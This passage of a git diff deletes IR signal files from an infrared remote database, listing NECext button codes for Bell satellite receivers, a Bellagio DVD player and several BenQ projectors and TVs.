-command: 1E 00 00 00 -# -name: MENU_DWN. -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECRD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir deleted file mode 100644 index 1acf3e5b5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 14 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 16 00 00 00 -# -name: CURS_RIGHT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 18 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1B 00 00 00 -# -name: CURS_LEFT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1C 00 00 00 -# -name: CURS_DOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1E 00 00 00 -# -name: REC. -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir deleted file mode 100644 index d6d0fd513..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 10 00 00 00 -# -name: SEL. -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 11 00 00 00 -# -name: CANCL -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 12 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 16 00 00 00 -# -name: MENU_RT. -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 18 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1A 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1A 00 00 00 -# -name: RECAL -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1B 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1C 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1E 00 00 00 -# -name: MENU_DWN. -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1E 00 00 00 -# -name: RECRD -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 21 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir deleted file mode 100644 index a063bd4fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PG._DN. -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PG._UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FWD. -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SEARCH_FWD. -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir deleted file mode 100644 index 0297dd1e6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 03 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 07 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 0F 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 31 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 32 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 36 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir deleted file mode 100644 index 71a4e155c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 03 00 00 00 -# -name: PG._DN. -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 07 00 00 00 -# -name: PG._UP -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 0F 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 31 00 00 00 -# -name: SEARCH_BACK -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 31 00 00 00 -# -name: FWD. -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 32 00 00 00 -# -name: SEARCH_FWD. -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 32 00 00 00 -# -name: SKIP- -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 36 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 37 00 00 00 -# -name: EVENT -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 39 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 02 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir deleted file mode 100644 index 6ed6a4062..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir deleted file mode 100644 index f3241961e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 10 01 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir deleted file mode 100644 index eb388e2e4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIEW -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 16 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir deleted file mode 100644 index 691a5bb60..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir deleted file mode 100644 index acc545ed7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: ntsc/pal -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: tvpicture -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: X_KEY_1/all -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: bwd -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: vocal-assist -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4B 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4F 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir deleted file mode 100644 index 70d8d60d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: < -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: PIP_SOURCE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: PIP_SIZE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 08 00 00 00 -# -name: PIP_POSITION -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0A 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0E 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 20 00 00 00 -# -name: AUTO_TRACKING -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 28 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2A 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2C 00 00 00 -# -name: ZOOM- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir deleted file mode 100644 index 6f1cde118..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LEFT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: PIP_SOURCE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: PIP_SIZE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 08 00 00 00 -# -name: PIP_POS. -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0C 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0D 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0E 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 12 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 18 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1A 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 20 00 00 00 -# -name: VOLUME- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 22 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 28 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2A 00 00 00 -# -name: D.ZOOM+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2C 00 00 00 -# -name: D.ZOOM- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2D 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir deleted file mode 100644 index 7798ae30d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAGE- -type: parsed -protocol: NECext -address: 48 50 00 00 -command: 05 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 48 50 00 00 -command: 06 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir deleted file mode 100644 index 9ec6456ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0C 00 00 00 -# -name: dualdigit -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0D 00 00 00 -# -name: zap -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0F 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 12 00 00 00 -# -name: aspectratio -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 13 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 48 00 00 00 -# -name: tt_index -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 4C 00 00 00 -# -name: tt_subpage -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 4D 00 00 00 -# -name: tt_info -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 4E 00 00 00 -# -name: teletext_display -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 51 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 52 00 00 00 -# -name: audiomode -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 53 00 00 00 -# -name: backlight -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 54 00 00 00 -# -name: usersituation -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 55 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 56 00 00 00 -# -name: sleeptimer -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 58 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 5C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir deleted file mode 100644 index a1b4f0fe4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 02 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 03 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 04 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 05 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 06 00 00 00 -# -name: blank -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 07 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 08 00 00 00 -# -name: keystone-larger -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 09 00 00 00 -# -name: keystone-smaller -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0F 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 10 00 00 00 -# -name: keystone-auto -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir deleted file mode 100644 index 2ef0f66aa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FREEZE -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 03 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 04 00 00 00 -# -name: ECOBLANK -type: parsed -protocol: NECext -address: 00 30 00 